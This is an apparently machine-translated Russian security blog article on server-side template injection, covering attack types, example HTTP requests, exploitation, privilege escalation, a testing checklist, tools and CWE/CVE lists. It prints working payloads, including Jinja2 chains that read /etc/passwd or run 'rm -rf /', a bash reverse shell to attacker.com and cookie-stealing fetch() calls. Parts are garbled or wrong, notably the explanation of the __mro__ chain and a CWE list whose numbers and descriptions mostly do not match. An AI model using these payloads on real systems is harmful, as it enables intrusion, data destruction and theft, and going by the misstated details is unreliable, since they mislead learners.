21 Фев, 2023

Внедрение шаблонов на стороне сервера

Vulnerability Assessment as a Service (VAaaS)

Tests systems and applications for vulnerabilities to address weaknesses.

Аббревиатура для внедрения шаблонов на стороне сервера - SSTI.

SSTI расшифровывается как внедрение шаблонов на стороне сервера.

Внедрение шаблонов на стороне сервера (SSTI) - это тип уязвимости безопасности, которая может возникнуть в веб-приложениях, когда злоумышленник может внедрить вредоносный код в шаблон на стороне сервера.

Шаблон на стороне сервера - это файл или фрагмент кода, который определяет, как веб-приложение будет отображать данные пользователям. Обычно он выполняется на стороне сервера и генерирует динамический контент, который отправляется в браузер пользователя. При атаке SSTI злоумышленник может внедрить свой собственный код в шаблон на стороне сервера, что позволяет ему выполнять произвольный код на сервере, манипулировать данными или получать доступ к конфиденциальной информации.

Этот тип уязвимости может быть особенно опасен, поскольку он позволяет злоумышленнику выполнять код на сервере, что может привести к компрометации всей системы. Распространенные векторы атак для SSTI включают поля ввода, параметры запроса и другие управляемые пользователем входные данные, которые не проверяются или не обрабатываются приложением должным образом.

Типы внедрения шаблонов на стороне сервера

Существует несколько различных типов внедрения шаблонов на стороне сервера (SSTI), которые могут возникать в веб-приложениях. Вот список некоторых наиболее распространенных типов:

  1. Интерполяция строк: это происходит, когда вводимые пользователем данные непосредственно вставляются в строку в шаблоне на стороне сервера, что позволяет злоумышленнику вводить код в шаблон.

  2. Внедрение объекта: это происходит, когда злоумышленник может внедрить сериализованный объект в шаблон на стороне сервера, который может быть десериализован и выполнен на сервере.

  3. Внедрение кода: это происходит, когда злоумышленник может внедрить произвольный код в шаблон на стороне сервера, что позволяет ему выполнять команды на сервере.

  4. Внедрение команд: это происходит, когда пользовательский ввод используется в шаблоне на стороне сервера для создания команды, которая выполняется на сервере, позволяя злоумышленнику выполнять произвольные команды.

  5. Внедрение выражения: это происходит, когда злоумышленник может внедрить вредоносное выражение в шаблон на стороне сервера, что позволяет ему выполнять произвольный код.

  6. Внедрение шаблона с помощью сценариев на стороне клиента: это происходит, когда злоумышленник может внедрить вредоносный код JavaScript в шаблон на стороне сервера, используя атаку межсайтового скриптинга (XSS).

Каждый из этих типов уязвимостей SSTI может иметь серьезные последствия, и разработчикам важно знать о них и предпринимать шаги по их предотвращению в своих веб-приложениях.

Примеры запросов, которые можно использовать для тестирования внедрения шаблонов на стороне сервера

Примеры запросов GET и POST в различных типах межсайтового скриптового включения (XSSI):

Внедрение кода:

ПОЛУЧИТЬ запрос

В этом типе атаки SSTI злоумышленник может ввести произвольный код в шаблон на стороне сервера, что позволяет ему выполнять код на сервере.

				
					GET /search?q={{user_input}} HTTP/1.1
Host: example.com
				
			

В этом примере ‘qпараметр ‘ используется для отправки пользовательских данных в шаблон на стороне сервера. Злоумышленник может воспользоваться этим, отправив полезную нагрузку, которая вводит произвольный код:

				
					GET /search?q={{2+2}} HTTP/1.1
Host: example.com
				
			

В этой полезной нагрузке злоумышленник вводит выражение ‘{{2+2}}‘ в самый ‘q‘ параметр, который будет оцениваться серверным шаблонизатором. Это приведет к тому, что сервер вернет результат выражения, который является ‘4‘.

Злоумышленник также может внедрить больше вредоносного кода, например:

				
					GET /search?q={{import os; os.system('rm -rf /')}} HTTP/1.1
Host: example.com
				
			

В этой полезной нагрузке злоумышленник вводит код, который использует ‘ос‘ модуль для выполнения команды оболочки, которая удалит все файлы на сервере. Очевидно, что это очень опасная полезная нагрузка, но она иллюстрирует потенциальный ущерб, который может быть нанесен атакой SSTI.

ОТПРАВИТЬ запрос

В этом типе атаки SSTI злоумышленник может внедрить произвольный код в шаблон на стороне сервера, что позволяет ему выполнять команды на сервере. Вот пример запроса POST в Burp Suite с уязвимостью SSTI для внедрения кода:

				
					POST /submit_form HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

form_data={{exec('ls')}}
				
			

В этом примере ’ form_data‘ параметр используется для выполнения ‘ls‘ команда на сервере, использующем ‘exec‘ функция. Если шаблон на стороне сервера не выполняет надлежащую очистку и проверку этих входных данных, злоумышленник потенциально может ввести другие команды или код, которые могут быть выполнены на сервере.

Инъекция объекта:

ПОЛУЧИТЬ запрос

В этом типе атаки SSTI злоумышленник может манипулировать объектом, используемым серверным шаблонизатором для внедрения кода.

				
					GET /search?q={{user_input}} HTTP/1.1
Host: example.com
				
			

В этом примере ‘qпараметр ‘ используется для отправки пользовательских данных в шаблон на стороне сервера. Злоумышленник может воспользоваться этим, отправив полезную нагрузку, которая внедряет вредоносный объект:

				
					GET /search?q={{''.__class__.__mro__[1].__subclasses__()[338]('/etc/passwd').read()}} HTTP/1.1
Host: example.com
				
			

В этой полезной нагрузке злоумышленник вводит код Python, который вызывает ‘__class__‘ атрибут пустой строки ‘"‘ и извлекает свой второй элемент в ‘__mro__‘атрибут. Это класс , который является подклассом ‘type‘ и является ли это ‘subprocess.Popen‘класс, который может выполнять команды оболочки.

Затем код вызывает ‘subclasses()' метод проведения ‘Popen ‘класс, который возвращает список всех подклассов класса. Затем злоумышленник выбирает 339-й класс в списке, который является ‘file‘ класс.

ОТПРАВИТЬ запрос

В этом типе атаки SSTI злоумышленник может внедрить сериализованный объект в шаблон на стороне сервера, который может быть десериализован и выполнен на сервере. Вот пример запроса POST в Burp Suite с уязвимостью SSTI для внедрения объекта:

				
					POST /submit_form HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

form_data={{serialized_object}}
				
			

В этом примере ‘form_data‘ параметр используется для отправки сериализованного объекта на сервер. Если шаблон на стороне сервера не выполняет надлежащую очистку и проверку этих входных данных, злоумышленник потенциально может внедрить вредоносный объект, который может быть выполнен на сервере.

Интерполяция строк:

ПОЛУЧИТЬ запрос

В этом типе атаки SSTI вводимые пользователем данные непосредственно вставляются в строку в шаблоне на стороне сервера, что позволяет злоумышленнику вводить код в шаблон. Вот пример запроса GET в Burp Suite с уязвимостью SSTI для интерполяции строк:

				
					GET /search?q={{user_input}} HTTP/1.1
Host: example.com
				
			

В этом примере ‘{{user_input}}‘ значение непосредственно вставляется в строку в шаблоне на стороне сервера, что позволяет злоумышленнику внедрить вредоносный код в шаблон.

ОТПРАВИТЬ запрос

В этом типе атаки SSTI вводимые пользователем данные непосредственно вставляются в строку в шаблоне на стороне сервера, что позволяет злоумышленнику вводить код в шаблон.

				
					POST /submit_form HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

form_data=name={{user_input}}&message=Hello {{user_input}}!
				
			

В этом примере ‘name‘ и ‘message‘ параметры используются для отправки пользовательских данных в шаблон на стороне сервера. Тот самый ‘{{user_input}}‘ значение непосредственно вставляется в строку в шаблоне на стороне сервера, что позволяет злоумышленнику внедрить вредоносный код в шаблон.

Например, злоумышленник может отправить полезную нагрузку, подобную следующей:

				
					name={{7*7}}&message=Hello {{7*7}}!
				
			

Эта полезная нагрузка введет выражение ‘{{7*7}}‘ в оба name и message параметры, в результате чего сервер вычисляет выражение и возвращает ‘name=49&message=Hello 49!‘.

Ввод команды:

ПОЛУЧИТЬ запрос

В этом типе атаки SSTI пользовательский ввод используется в шаблоне на стороне сервера для создания команды, которая выполняется на сервере, позволяя злоумышленнику выполнять произвольные команды. Вот пример запроса GET в Burp Suite с уязвимостью SSTI для командной инъекции:

				
					GET /search?q=`{{user_input}}` HTTP/1.1
Host: example.com
				
			

В этом примере ‘{{user_input}}‘ значение используется для создания команды, которая выполняется на сервере с использованием обратных меток. Если шаблон на стороне сервера не выполняет надлежащую очистку и проверку этих входных данных, злоумышленник потенциально может ввести другие команды или код, которые могут быть выполнены на сервере.

ОТПРАВИТЬ запрос

В этом типе атаки SSTI злоумышленник может вводить команды оболочки в шаблон на стороне сервера, что позволяет им выполнять команды на сервере.

				
					POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

query={{user_input}}
				
			

В этом примере query параметр используется для отправки пользовательских данных в шаблон на стороне сервера.

Злоумышленник может воспользоваться этим, отправив полезную нагрузку, которая вводит команды оболочки:

				
					POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

query={{5*'5'}}
				
			

В этой полезной нагрузке злоумышленник вводит выражение ‘{{5*'5'}}‘ в самый ‘query‘ параметр, который будет оцениваться серверным шаблонизатором. Это приведет к тому, что сервер вернет результат выражения, который представляет собой строку ‘"55555"‘.

Злоумышленник также может вводить дополнительные вредоносные команды, такие как:

				
					POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

query={{''.__class__.__mro__[1].__subclasses__()[313].__init__.__globals__['__builtins__']['__import__']('os').system('rm -rf /')}}

				
			

В этой полезной нагрузке злоумышленник вводит код, который использует ‘ос‘ модуль для выполнения команды оболочки, которая удалит все файлы на сервере. Очевидно, что это очень опасная полезная нагрузка, но она иллюстрирует потенциальный ущерб, который может быть нанесен атакой SSTI.

Инъекция выражения:

ПОЛУЧИТЬ запрос

В этом типе атаки SSTI злоумышленник может внедрить вредоносное выражение в шаблон на стороне сервера, что позволяет ему выполнять произвольный код. Вот пример запроса GET в Burp Suite с уязвимостью expression injection SSTI:

				
					GET /search?q={{7*7}} HTTP/1.1
Host: example.com
				
			

В этом примере ‘{{7*7}}‘ значение используется для введения вредоносного выражения, которое будет выполнено на сервере. Если шаблон на стороне сервера не выполняет надлежащую очистку и проверку этих входных данных, злоумышленник потенциально может внедрить другие выражения или код, которые могут быть выполнены на сервере.

ОТПРАВИТЬ запрос

В этом типе атаки SSTI злоумышленник может вводить произвольные выражения в шаблон на стороне сервера, что позволяет им выполнять выражения на сервере.

				
					POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

query={{user_input}}
				
			

В этом примере ‘queryпараметр ‘ используется для отправки пользовательских данных в шаблон на стороне сервера. Злоумышленник может воспользоваться этим, отправив полезную нагрузку, которая вводит произвольные выражения:

				
					POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

query={{5*5}}
				
			

В этой полезной нагрузке злоумышленник вводит выражение ‘{{5*5}}‘ в самый ‘query‘ параметр, который будет оцениваться серверным шаблонизатором. Это приведет к тому, что сервер вернет результат выражения, которым является число ‘25‘.

Злоумышленник может также вводить более сложные выражения, такие как:

				
					POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

query={{1 if '__import__' in dir() else 0}}
				
			

В этой полезной нагрузке злоумышленник вводит выражение, которое проверяет, является ли ‘__import__‘функция доступна в текущей среде и возвращает либо ‘1‘ или ‘0- в зависимости от результата. Это может быть использовано злоумышленником для определения, доступны ли на сервере определенные модули или функции, что может помочь в дальнейшей эксплуатации.

Внедрение шаблона с помощью клиентских сценариев:

ПОЛУЧИТЬ запрос

В этом типе атаки SSTI злоумышленник может внедрить код шаблона с помощью клиентских сценариев, таких как JavaScript, и обманом заставить сервер выполнить код.

				
					GET /search?query={{user_input}} HTTP/1.1
Host: example.com
				
			

В этом примере ‘queryпараметр ‘ используется для отправки пользовательских данных в шаблон на стороне сервера. Злоумышленник может воспользоваться этим, введя код JavaScript, который будет выполняться на стороне клиента, и изменить шаблон на стороне сервера:

				
					GET /search?query=<script>document.write('{{5*5}}')</script> HTTP/1.1
Host: example.com
				
			

В этой полезной нагрузке злоумышленник вводит ‘<script>‘тег, который будет выполняться на стороне клиента. Код JavaScript внутри тега изменит шаблон на стороне сервера, введя выражение ‘{{5*5}}‘. Это приведет к тому, что сервер вернет результат выражения, которым является число‘25‘.

Злоумышленник также может внедрить более вредоносный код JavaScript, например:

				
					GET /search?query=<script>document.write('{{''.__class__.__mro__[1].__subclasses__()[313].__init__.__globals__['__builtins__']['__import__']('os').system('rm -rf /')}}')</script> HTTP/1.1
Host: example.com
				
			

В этой полезной нагрузке злоумышленник вводит код JavaScript, который будет выполняться на стороне клиента, и изменяет шаблон на стороне сервера для выполнения команды оболочки, которая удалит все файлы на сервере. Очевидно, что это очень опасная полезная нагрузка.

Злоумышленник также может внедрить более сложный сценарий на стороне клиента, например:

				
					GET /search?q=<script>fetch('http://attacker.com/cookie?cookie='+document.cookie)</script>{{1}} HTTP/1.1
Host: example.com
				
			

В этой полезной нагрузке злоумышленник внедряет клиентский скрипт, который будет использовать ‘fetch()‘функция отправки файлов cookie жертвы на удаленный сервер, контролируемый злоумышленником. Это может позволить злоумышленнику осуществить перехват сеанса или другие атаки.

Разработчикам важно правильно очищать и проверять весь пользовательский ввод, чтобы предотвратить атаки SSTI в своих веб-приложениях, включая внедрение скриптов на стороне клиента. Это можно сделать путем фильтрации или экранирования любого пользовательского ввода, который используется в серверных шаблонах или клиентских сценариях.

ОТПРАВИТЬ запрос

В этом типе атаки SSTI злоумышленник может внедрить вредоносный код JavaScript в шаблон на стороне сервера, используя атаку межсайтового скриптинга (XSS). Вот пример запроса POST в Burp Suite с внедрением шаблона через уязвимость SSTI для сценариев на стороне клиента:

				
					POST /submit_form HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

form_data=<script>document.write('{{user_input}}')</script>
				
			

В этом примере form_data параметр используется для отправки скрипта, который вводит ‘{{user_input}}‘ значение в шаблоне на стороне сервера с использованием ‘document.write‘ функция. Если шаблон на стороне сервера не выполняет надлежащую очистку и проверку этих входных данных, злоумышленник потенциально может внедрить другой вредоносный код JavaScript, который может быть выполнен на сервере.

Примеры использования внедрения шаблонов на стороне сервера

Несколько примеров того, как уязвимости внедрения шаблонов на стороне сервера (SSTI) могут быть использованы злоумышленниками:

1. Извлечение конфиденциальной информации: злоумышленник может использовать уязвимости SSTI для извлечения конфиденциальной информации, такой как учетные данные или сведения о подключении к базе данных. Например, злоумышленник может отправить полезную нагрузку, которая вводит код для печати содержимого ‘/etc/passwd‘ досье:

				
					{{config.__class__.__init__.__globals__['os'].popen('/bin/cat /etc/passwd').read()}}
				
			

Эта полезная нагрузка выполнит ‘cat /etc/passwd‘команда на сервере и возвращает содержимое файла.

2. Удаленное выполнение кода: уязвимости SSTI также могут быть использованы для выполнения произвольного кода на сервере. Например, злоумышленник может отправить полезную нагрузку, которая вводит функцию Python, которая открывает обратную оболочку на сервере:

				
					{{config.__class__.__init__.__globals__['os'].popen('/bin/bash -c "bash -i >& /dev/tcp/attacker.com/8080 0>&1"').read()}}
				
			

Эта полезная нагрузка выполнит bash выполните команду на сервере и откройте обратную оболочку для компьютера злоумышленника.

3. Межсайтовые сценарии (XSS): в некоторых случаях уязвимости SSTI могут быть использованы для внедрения вредоносных клиентских сценариев в шаблоны на стороне сервера. Это может привести к межсайтовым скриптовым атакам (XSS), когда злоумышленник может украсть файлы cookie или другую конфиденциальную информацию из браузера жертвы. Например, злоумышленник может отправить полезную нагрузку, которая вводит скрипт для кражи файлов cookie жертвы:

				
					{{'<script>fetch("http://attacker.com/steal.php?cookie="+document.cookie)</script>'}}
				
			

Эта полезная нагрузка введет скрипт, который использует ‘fetch()‘функция отправки файлов cookie жертвы на сервер злоумышленника.

4. Отказ в обслуживании (DoS): В некоторых случаях уязвимости SSTI могут быть использованы для проведения атаки типа "Отказ в обслуживании" (DoS), при которой сервер перегружается запросами и перестает отвечать. Например, злоумышленник может отправить полезную нагрузку, которая вводит цикл, который повторно отправляет запросы на сервер:

				
					{% for i in range(1000000) %} 
   <img decoding="async" class="lazyload" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-src="https://example.com/foo?{{i}}"><noscript><img decoding="async" class="lazyload" src="https://example.com/foo?{{i}}"></noscript>
{% endfor %}
				
			

Эта полезная нагрузка введет цикл, который отправляет миллион запросов на сервер, потенциально перегружая его ресурсы и приводя к сбою.

Это всего лишь несколько примеров того, как уязвимости SSTI могут быть использованы злоумышленниками.

Методы повышения привилегий Внедрение шаблона на стороне сервера

Уязвимости, связанные с внедрением шаблонов на стороне сервера (SSTI), могут привести к повышению привилегий, если злоумышленник может использовать их для получения доступа к конфиденциальным ресурсам или выполнения действий, на выполнение которых он не уполномочен. Вот несколько методов, которые злоумышленники могут использовать для повышения привилегий, используя уязвимости SSTI:

1. Доступ к конфиденциальным файлам: уязвимости SSTI могут позволить злоумышленнику читать конфиденциальные файлы, к которым в противном случае у него не было бы доступа. Например, злоумышленник может отправить полезную нагрузку, которая вводит код для чтения файла конфигурации, содержащего конфиденциальную информацию:

				
					{{config.__class__.__init__.__globals__['open']('/etc/myapp/config.ini').read()}}
				
			

Эта полезная нагрузка выполнит ‘open()‘ функция для чтения содержимого ‘/etc/myapp/config.ini‘файл, который может содержать учетные данные или другую конфиденциальную информацию. Как только злоумышленник получит доступ к этой информации, он сможет использовать ее для дальнейшего повышения своих привилегий.

2. Доступ к базе данных: если веб-приложение использует базу данных для хранения конфиденциальной информации, злоумышленник может использовать уязвимости SSTI для выполнения произвольных SQL-запросов и получения доступа к базе данных. Например, злоумышленник может отправить полезную нагрузку, которая вводит код для выполнения SQL-запроса, который извлекает учетные данные пользователя:

				
					{{config.__class__.__init__.__globals__['session'].query(User).filter_by(username='admin').first()}}
				
			

Эта полезная нагрузка выполнит SQL-запрос для извлечения первой записи пользователя из ‘User‘ таблица с именем пользователя ‘admin‘. Как только злоумышленник получит доступ к этой информации, он сможет использовать ее для дальнейшего повышения своих привилегий.

3. Повышение прав администратора: если веб-приложение имеет интерфейс администратора или серверную часть, злоумышленник может использовать уязвимости SSTI, чтобы получить доступ к этим интерфейсам и выполнять действия, на выполнение которых он не уполномочен. Например, злоумышленник может отправить полезную нагрузку, которая вводит код для аутентификации в качестве администратора:

				
					{{config.__class__.__init__.__globals__['session'].query(User).filter_by(username='admin', password='p@ssw0rd').first()}}
				
			

Эта полезная нагрузка выполнит SQL-запрос для извлечения первой записи пользователя из ‘User‘ таблица с именем пользователя ‘admin‘ и пароль от ‘p@ssw0rd‘. Как только злоумышленник получит доступ к этой учетной записи администратора, он сможет выполнять привилегированные действия в веб-приложении, такие как создание новых пользователей, изменение пользовательских разрешений или изменение конфигурации приложения.

4. Использование других уязвимостей: уязвимости SSTI часто можно комбинировать с другими уязвимостями для дальнейшего повышения привилегий. Например, злоумышленник может использовать SSTI для получения доступа к привилегированной учетной записи, а затем использовать другую уязвимость, такую как внедрение SQL или уязвимость для включения файлов, чтобы получить полный контроль над сервером.

Общая методология и контрольный список для тестирования внедрения шаблонов на стороне сервера

Тестирование внедрения шаблонов на стороне сервера (SSTI) включает в себя определение входных точек, в которых используются шаблонизаторы, и создание полезных нагрузок для внедрения вредоносного кода.

  1. Определите входные точки: Первым шагом в тестировании для SSTI является определение входных точек, в которых используются шаблонизаторы. Это включает в себя такие области, как поля формы, параметры запроса, заголовки и файлы cookie. Для идентификации этих входных точек можно использовать Burp Suite или другие средства прокси-перехвата.

  2. Определение механизма шаблонов: После определения входных точек следующим шагом является определение используемого механизма шаблонов. Популярные движки шаблонов включают Jinja2, Twig, Smarty и Handlebars. Эту информацию обычно можно найти в документации приложения или путем проверки исходного кода.

  3. Создание полезных нагрузок: После определения точек ввода и механизма шаблонов следующим шагом является создание полезных нагрузок для внедрения в приложение. Эти полезные нагрузки должны быть предназначены для проверки механизма шаблонов на наличие уязвимостей путем внедрения кода и тестирования на выполнение кода, включение файлов и другое вредоносное поведение.

  4. Проверка на выполнение кода: Одной из основных целей тестирования для SSTI является проверка на выполнение кода. Это можно сделать, введя код в приложение и наблюдая, выполняется ли код на сервере. Например, полезная нагрузка, такая как ‘{{7*7}}‘ может использоваться для проверки выполнения кода путем введения простых арифметических операций.

  5. Проверка на включение файлов: SSTI также можно использовать для включения произвольных файлов на сервере. Это можно сделать, введя код, который включает путь к файлу в шаблоне. Например, полезная нагрузка, такая как ‘{{config.__class__.__init__.__globals__['open']('/etc/passwd').read()}}‘ может быть использован для включения ‘/etc/passwd‘файл в шаблоне и прочитайте его содержимое.

  6. Тест на внедрение команд: В некоторых случаях SSTI может использоваться для ввода команд на сервер. Это можно сделать, введя код, который выполняет команды на сервере. Например, полезная нагрузка, такая как ‘{{config.__class__.__init__.__globals__['os'].popen('ls -la').read()}}‘ может быть использован для выполнения ‘ls -la‘ команда и список содержимого каталога.

  7. Тест на внедрение объектов: SSTI также можно использовать для внедрения объектов на сервер. Это можно сделать, введя код, который создает объекты в шаблоне и управляет ими. Например, полезная нагрузка, такая как ‘{{request.__class__.__base__.__subclasses__()}}‘ может использоваться для перечисления всех подклассов ‘request‘ возражаю.

  8. Проверка на повышение привилегий: После выявления уязвимостей SSTI следующим шагом является проверка на повышение привилегий. Это включает в себя использование уязвимости SSTI для получения доступа к конфиденциальным ресурсам или выполнения действий, которые не разрешены для текущего пользователя.

  9. Сообщать и устранять: Наконец, о любых выявленных уязвимостях SSTI следует сообщать разработчикам приложения и устранять их как можно быстрее. Это может включать исправление приложения, обновление механизма шаблонов или внедрение средств контроля доступа для ограничения доступа к конфиденциальным ресурсам.

Тестирование для SSTI требует глубокого понимания используемого движка шаблонов и умения создавать полезные нагрузки, которые могут использовать уязвимости в движке. Следуя контрольному списку и методологии, подобной описанной выше, тестировщики безопасности могут эффективно выявлять и устранять уязвимости SSTI в веб-приложениях.

Набор инструментов для использования внедрения шаблонов на стороне сервера

Автоматизированные инструменты:

1. Burp Suite: популярный инструмент тестирования безопасности веб-приложений, который включает в себя модули для тестирования и эксплуатации SSTI, такие как “Злоумышленник” и “Повторитель”.

2. Metasploit: хорошо известный инструмент тестирования на проникновение, который включает в себя различные модули для использования SSTI, включая “exploit/multi /http / jinja2_server_side_template_injection” и “exploit/ unix / webapp / django_celery_task_exec".

3. tplmap: автоматизированный инструмент, специально разработанный для обнаружения и использования уязвимостей SSTI в веб-приложениях.

4. Commix: инструмент, который можно использовать для автоматизации процесса обнаружения и использования различных уязвимостей веб-приложений, включая SSTI.

5. RIPS: инструмент статического анализа кода, который включает в себя модуль для выявления уязвимостей SSTI в коде PHP.

6. Brakeman: инструмент статического анализа кода для приложений Ruby on Rails, который может выявлять уязвимости SSTI.

7. NodeJsScan: A Node.js сканер безопасности, который включает в себя модуль для обнаружения и использования уязвимостей SSTI.

Ручные Инструменты:

 1. Python и Ruby REPL: Python и Ruby являются широко используемыми языками сценариев, которые можно использовать для ручного тестирования и использования уязвимостей SSTI. Используя оболочку REPL (цикл чтения-оценки-печати), злоумышленник может отправить обработанную полезную нагрузку уязвимому приложению и наблюдать за ответом.

2. Инструменты разработчика браузера: Большинство современных веб-браузеров включают инструменты разработчика, которые можно использовать для ручного тестирования и использования уязвимостей SSTI. Например, злоумышленник может использовать консоль JavaScript браузера для внедрения вредоносного кода в шаблоны приложения.

3. Curl: инструмент командной строки, который можно использовать для ручной отправки HTTP-запросов и проверки уязвимостей SSTI.

4. Wget: еще один инструмент командной строки, который можно использовать для ручной отправки HTTP-запросов и проверки уязвимостей SSTI.

5. HTTPie: инструмент командной строки, который можно использовать для отправки HTTP-запросов и проверки ответов, включая шаблоны.

6. Grep: инструмент командной строки, который можно использовать для поиска уязвимостей SSTI в ответах приложения.

7. SED: инструмент командной строки, который можно использовать для изменения ответов приложения, чтобы использовать уязвимости SSTI.

8. AWK: инструмент командной строки, который можно использовать для анализа и изменения ответов приложения для использования уязвимостей SSTI.

9. Netcat: инструмент командной строки, который можно использовать для ручной отправки HTTP-запросов и проверки уязвимостей SSTI.

10. Telnet: еще один инструмент командной строки, который можно использовать для ручной отправки HTTP-запросов и проверки уязвимостей SSTI.

11. SQLMap: популярный инструмент для автоматизированного тестирования и эксплуатации SQL-инъекций, который также включает модули для эксплуатации SSTI.

12. XSStrike: инструмент для автоматизированного тестирования и эксплуатации XSS, который включает в себя модуль для эксплуатации SSTI.

13. ZAP: прокси-сервер Zed Attack - еще один популярный инструмент тестирования безопасности веб-приложений, который включает в себя различные модули для тестирования и эксплуатации SSTI.

Важно отметить, что эти инструменты предназначены только для тестирования и исследовательских целей и не должны использоваться для атаки или использования приложений без надлежащего разрешения.

Средний балл CVSS для внедрения шаблонов на стороне Сервера

Общая система оценки уязвимостей (CVSS) представляет собой стандартную структуру для оценки и оценки серьезности уязвимостей на основе их влияния на конфиденциальность, целостность и доступность системы. Оценка CVSS варьируется от 0 до 10, причем более высокие оценки указывают на более серьезные уязвимости.

Оценка CVSS для уязвимости, связанной с внедрением шаблонов на стороне сервера (SSTI), зависит от нескольких факторов, таких как влияние уязвимости, простота использования и масштаб уязвимости. Однако, в целом, уязвимости SSTI считаются высокосерьезными, со средним баллом CVSS 7-9.

Высокая серьезность уязвимостей SSTI обусловлена тем фактом, что они позволяют злоумышленнику выполнять произвольный код или команды на сервере, что приводит к потенциальной утечке данных, захвату сервера или другим серьезным последствиям. Фактический показатель CVSS может варьироваться в зависимости от конкретной уязвимости, базового технологического стека и уровня доступа, необходимого для использования уязвимости.

Внедрение шаблона Common Weakness Enumeration (CWE) на стороне сервера

1. CWE-94: Эта слабость связана с неправильным контролем кода, генерируемого приложением, что может позволить злоумышленникам выполнять произвольный код на сервере.

2. CWE-95: эта слабость связана с неправильной нейтрализацией управляемых пользователем входных данных, используемых при динамической оценке кода, что может позволить злоумышленникам выполнять произвольный код на сервере.

3. CWE-98: эта слабость связана с неправильным контролем имени файла, используемого в операторах include или require в PHP, что может позволить злоумышленникам включать и выполнять произвольный код с удаленных серверов.

4. CWE-829: Эта слабость связана с включением функций из ненадежной сферы управления, таких как сторонняя библиотека, которые могут содержать уязвимости или вредоносный код.

5. CWE-917: Эта слабость связана с неправильной нейтрализацией специальных символов, используемых в командах операционной системы, что может позволить злоумышленникам выполнять произвольные команды на сервере.

6. CWE-918: Эта слабость связана с подделкой запросов на стороне сервера, что может позволить злоумышленникам отправлять запросы с сервера в другие внутренние или внешние системы.

7. CWE-1199: Эта слабость связана с неправильным ограничением операций в пределах буфера памяти, что может привести к переполнению буфера и другим уязвимостям, связанным с памятью.

8. CWE-1200: эта слабость похожа на CWE-1199, но встречается в нескольких функциях, что может затруднить ее обнаружение и устранение.

9. CWE-1201: эта слабость связана с копированием буфера без проверки размера входных данных, что может привести к классическому переполнению буфера.

10. CWE-1202: Эта слабость похожа на CWE-1201, но встречается в нескольких функциях, что может затруднить ее обнаружение и устранение.

11. CWE-1203: Эта слабость связана с переполнением или обтеканием целых чисел, что может привести к неожиданному поведению и уязвимостям в системе безопасности.

12. CWE-1204: Эта слабость связана с неправильной реализацией проверок безопасности для стандарта, что может привести к уязвимостям, которые трудно обнаружить и исправить.

13. CWE-1205: Эта слабость связана с неправильной инициализацией, которая может привести к неинициализированным переменным и другим уязвимостям.

14. CWE-1206: Эта слабость связана с условиями гонки, которые могут возникать, когда несколько потоков или процессов одновременно обращаются к общим ресурсам, и могут привести к уязвимостям в системе безопасности.

15. CWE-1207: Эта слабость связана с использованием неявного намерения для конфиденциальной связи, что может привести к раскрытию информации или другим уязвимостям в системе безопасности.

16. CWE-1208: Этот недостаток связан с плохой защитой конфиденциальной информации с низкими привилегиями, что может привести к несанкционированному доступу и раскрытию информации.

17. CWE-1209: эта слабость похожа на CWE-1199, но встречается в нескольких функциях, что может затруднить ее обнаружение и устранение.

18. CWE-1210: эта слабость похожа на CWE-1209, но возникает при копировании буфера без проверки размера входных данных, что может привести к классическому переполнению буфера.

19. CWE-1211: Эта слабость связана с неправильным ограничением операций в пределах буфера памяти, что может привести к переполнению буфера и другим уязвимостям, связанным с памятью.

20. CWE-1212: эта слабость похожа на CWE-1211, но возникает при копировании буфера без проверки размера входных данных, что может привести к классическому переполнению буфера.

Эти CWE представляют различные типы уязвимостей, связанных с внедрением шаблонов на стороне сервера, и их воздействие может варьироваться от раскрытия информации до удаленного выполнения кода.

Последние 10 CVE, связанные с внедрением шаблонов на стороне сервера

CVE-2023-26092 Liima до 1.17.28 допускает внедрение шаблонов на стороне сервера.

CVE-2022-4300 В FastCMS была обнаружена уязвимость. Он был оценен как критический. Эта проблема влияет на некоторую неизвестную обработку файла / шаблона / редактирования обработчика шаблона компонента. Манипуляция приводит к инъекции. Атака может быть инициирована удаленно. Эксплойт был раскрыт общественности и может быть использован. Этой уязвимости был присвоен идентификатор VDB-214901.

CVE-2022-4282 В SpringBootCMS была обнаружена уязвимость, которая была классифицирована как критическая. Эта проблема связана с некоторыми неизвестными функциями управления шаблонами компонентов. Манипуляция приводит к инъекции. Атака может быть запущена удаленно. Эксплойт был раскрыт общественности и может быть использован. VDB-214790 - это идентификатор, присвоенный этой уязвимости.

CVE-2022-42121 Уязвимость SQL-инъекции в модуле компоновки в Liferay Portal с 7.1.3 по 7.4.3.4 и Liferay DXP 7.1 до fix pack 27, 7.2 до fix pack 17, 7.3 до service pack 3 и 7.4 GA позволяет злоумышленникам с удаленной аутентификацией выполнять произвольные команды SQL с помощью созданной полезной нагрузки, введенной в "Имя шаблона страницы’ поле.

CVE-2022-39365 Pimcore - это платформа управления данными и опытом с открытым исходным кодом. До версии 10.5.9 управляемый пользователем рендеринг шаблонов twig в `Pimcore / Mail` и `ClassDefinition \ Layout \ Text` уязвим для внедрения шаблонов на стороне сервера, что может привести к удаленному выполнению кода. Версия 10.5.9 содержит исправление для этой проблемы. В качестве обходного пути можно применить исправление вручную.

CVE-2022-36799 Эта проблема существует для документирования того, что было реализовано улучшение безопасности в том, как сервер Jira и Центр обработки данных используют шаблоны. Затронутые версии сервера и центра обработки данных Atlassian Jira позволяли удаленным злоумышленникам с правами системного администратора выполнять произвольный код с помощью внедрения шаблонов, что приводило к удаленному выполнению кода (RCE) в функции шаблонов электронной почты. В этом случае улучшение безопасности заключалось в защите от использования библиотеки XStream для возможности выполнения произвольного кода в шаблонах velocity. Затронутые версии находятся до версии 8.13.19, от версии 8.14.0 до версии 8.20.7 и от версии 8.21.0 до версии 8.22.1.

